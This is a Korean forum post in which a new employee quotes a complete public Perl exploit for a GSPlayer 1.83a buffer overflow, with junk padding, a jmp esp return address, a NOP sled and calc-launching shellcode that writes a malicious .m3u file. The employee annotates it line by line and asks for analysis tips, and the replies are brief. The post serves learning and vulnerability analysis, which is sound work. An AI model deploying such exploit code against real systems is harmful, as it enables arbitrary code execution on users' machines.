소스분석에대하여

uahkka의 이미지

안녕하세요 요번에 회사를 다니며 과제를 하나 받게되었는데요
취약점 분석을 해야하기전에 소스분석을 먼저 하고 잇엇습니다.
외국의 GSplayer라고 있는데 1.83a버전 버퍼오버플로우 취약점분석보고서를 수행하고있습니다.
대충 봐서는 쉘코드는 계산기 실행하는것이고


# Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability

# Date: 2010/11/04

# Author: moigai

# e-mail: again.liu@gmail.com

# Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html

# Version: 1.83a Win32 Release

# Tested on: Windows XP SP3 En (VM)

my $file = "GSPlayer.m3u"; 이파일을 돌렷을때 GSPlayer.m3u생성하게 만드는것같고

my $junk1 = "\x41" x 257; 이부분이 아무거나 헥사값을 집어넣는것...같고...

#jmp esp from kernel32.dll 제가 펄은 처음봐서 여기는 모르겟습니다 뭐 V에 0x7C86467B를 저장하라는???

my $eip = pack('V',0x7C86467B);

my $junk2 = "Ai7Ai8Ai";

my $nop = "\x90" x 30;

#executes calc 이것이 계산기 실행하게 하는ㅎㅎ

my $shell =

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

my $payload = $junk1 . $eip . $junk2 . $nop . $shell; 이 함수들이 뭔가 버퍼오버플로우를 일으키게하는 함수같습니다.이것도 지금 펄에관해 분석중

my $rest = "\x42" x (4064 - length($payload));

$payload = $payload . $rest . ".mp3";

print "\n[+] Creating m3u file\n";

open(FILE, ">$file");

print FILE $payload;

close(FILE);

print "[+] File " . $file . " created\n";

그냥 코드만 달랑 던저주시고 취약점 분석을 한번도 못해봣는데 하라고 주셔서 ㅠㅠㅠ일단 소스분석을 먼저하고 이 플레이어를 실행해서 어떤 오류가 나오는지 보려고 합니다.일단 세세하게 함수부터 이것이 왜어떠케 실행하게 하며 왜 버퍼오버플로우를 발생시키는지 (사실 어떤 버퍼오버플로우인지도 모르고있습니다ㅠㅠ 소스를 분석 못하니..) 분석중입니다.T_T 고수님들 ㅠㅠ 힌트나 조언부탁드립니다.
감사합니당

익명 사용자의 이미지

일단 실행해보세요. 실행하면 exploit용 mp3 파일이 만들어지는 것 같네요.
GSPlayer는 mp3파일 이름을 제대로 검사하지 않는 문제가 있나봅니다.

niuzeta의 이미지

http://www.google.ca/search?sourceid=chrome&ie=UTF-8&q=gsplayer+1.83a+buffer+overflow

한번 검색해보니 저 스크립트가 나오는군요.

...And all in war with Time for love of you,
As he takes from you, I engraft you new.

-Sonnet XV
전산계획설계사 지망 영문학과생